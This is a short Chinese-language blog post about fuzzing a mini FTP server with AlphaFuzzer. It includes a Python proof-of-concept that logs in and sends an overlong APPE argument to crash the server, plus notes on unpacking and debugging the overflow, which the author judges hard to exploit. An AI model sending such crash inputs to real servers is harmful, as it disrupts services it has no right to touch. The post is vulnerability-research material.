前言
第一次嘗試ftp fuzzing,然後其中遇到很多問題,和大家探討下。
目標程序是守望迷你FTP服務器,網上可以搜到,fuzzing工具是天融信的AlphaFuzzer。
配置完ftp
直接用AlphaFuzzer中的ftpfuzz功能,出現可能的poc指令。
因爲最後要寫成poc,所以我這邊直接寫成python。
import socket,sys
def ftp_test(ip,port,user,passwd):
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
connect=s.connect((ip,port))
print '[+] Connected!'
except:
print '[!] Connected failed!'
exit(0)
print s.recv(1024)
s.send('USER %s\r\n'%user)
print s.recv(1024)
s.send('PASS %s\r\n'%passwd)
print s.recv(1024)
s.send('APPE '+'./A'*102+'\r\n')
#s.send('CWD '+'a'*272+'\r\n')
try:
print s.recv(1024)
print 'failed'
except:
print 'ok'
s.close()
if __name__ == '__main__':
ftp_test('127.0.0.1',21,'admin','123456')
然後進行調試ftp,找出溢出利用的方法。簡單分後發現守望ftp是由php寫成的,加了upx殼,php能寫桌面這塊還不是很瞭解。
脫殼後,分析後直接找到recv函數,在php_sockets.dll的0x56E8處直接斷點。
分析發現溢出存在偶然性,每次accept一次,ftp則會創建一個堆,每次recv 0x210 byte,而在malloc的地址在棧的上面的時候,纔有可能觸發異常,所以想要真正利用這個溢出點還是比較困難的。